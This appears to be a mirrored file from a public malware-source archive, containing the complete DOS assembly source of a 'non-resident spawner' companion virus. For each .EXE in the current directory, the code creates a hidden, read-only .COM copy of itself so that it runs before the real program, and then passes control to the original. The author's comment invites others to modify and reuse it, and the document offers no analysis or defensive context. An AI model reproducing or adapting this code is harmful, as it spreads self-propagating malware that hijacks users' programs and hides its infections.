mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
175 lines
4.1 KiB
NASM
175 lines
4.1 KiB
NASM
;NON-RESIDENT SPAWNER
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; I threw this thing together in less than an hour and haven't looked
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; at it since so yes, I know it needs real work. Mangle and change as
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; you please. The original goal was to create the smallest spawner but
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; I got bored with the whole thing. Some of the code was taken from
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; the source code to Directory Magic by pcmag. Have phun....
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CSEG SEGMENT
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ASSUME CS:CSEG,DS:NOTHING
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ORG 100H ;Beginning for .COM programs
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START: JMP MY_BEGIN ;Initialization code is at end
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wild DB "*.EXE",0
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file_Ext DB "COM",0
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file_found DB 12 DUP(' '), 0
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file_create DB 12 DUP(' '), 0
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search_attrib DW 17H
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num_infect dw 0
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my_cmd:
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Cmd_len db 13
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file_clone db 12 DUP (' '), 0
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ASSUME CS:CSEG, DS:CSEG, ES:NOTHING
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;------------------------------------------------------------------;
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Prepare_command:
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cld
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mov di,OFFSET file_clone
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mov al,0
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mov cx,12
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repne scasb ; find the end of string \0
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mov al,0Dh ; <CR>
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stosb ; replace \0 with a <CR>
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mov ax,12 ;store length of the command
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sub ax,cx
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mov cmd_len, al
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ret
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;------------------------------------------------------------------;
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Store_name:
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MOV DI,OFFSET file_found ;Point to buffer.
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MOV SI,158
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MOV CX,12
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REP MOVSB
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MOV DI,OFFSET file_create ;Point to buffer.
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MOV SI,158
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MOV CX,12
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REP MOVSB
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cld
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mov di,OFFSET file_create
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mov al,'.'
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mov cx,9
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repne scasb ;find the '.'
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mov si,OFFSET file_ext
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mov cx,3
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rep movsb ;replace the .EXE with .COM
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ret
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;------------------------------------------------------------------;
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;Does the file exist?
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Check_file:
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mov dx,OFFSET file_create
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mov cx,0
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mov ax,3d00h ; Open file read only
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int 21h
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Chk_done:
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ret
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;------------------------------------------------------------------;
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Infect_file:
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;Create file
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mov dx,OFFSET file_create
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mov cx,0
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mov ah,3ch
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int 21h
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jc EXIT
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;Write to file
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mov bx,ax
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mov cx,(OFFSET END_OF_CODE - OFFSET START)
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mov dx,OFFSET START
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mov ah,40h
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int 21h
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;Close file
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mov ah,3eh ; ASSUMES bx still has file handle
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int 21h
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;Change attributes
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mov dx,OFFSET file_create
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mov cx,3 ;(1) read only, (2) hidden, (4) system
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mov ax,4301h
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int 21h
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ret
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;------------------------------------------------------------------;
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; Read all the directory filenames and store as records in buffer. ;
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;------------------------------------------------------------------;
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MY_BEGIN:
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mov sp,offset STACK_HERE ;move stack down
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mov bx,sp
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add bx,15
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mov cl,4
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shr bx,cl
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mov ah,4ah ;deallocate rest of memory
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int 21h
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MOV DI,OFFSET file_clone ;Point to buffer.
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MOV SI,OFFSET file_found
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MOV CX,12
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REP MOVSB
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READ_DIR: MOV DX,OFFSET wild
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MOV CX,search_attrib
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MOV AH,4EH ; This finds the first matching file.
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INT 21H
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JC EXIT ;If empty directory, exit.
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Do_file:
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call Store_name
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call Check_file
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jnc seek_another ; CF = 0, shadow already there... skip it
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call Infect_file
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jmp Exit
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seek_another:
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find_next:
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mov ah,4fh
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int 21h
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jmp Do_file
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EXIT:
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;Run the original program
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call Prepare_command
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mov si, OFFSET my_cmd
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int 2Eh ;Pass command to command
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; interpreter for execution
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;Exit to DOS
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MOV AX,4C00H
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INT 21H
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END_OF_CODE = $
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STACK_HERE EQU END_OF_CODE + 512
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CSEG ENDS
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END START
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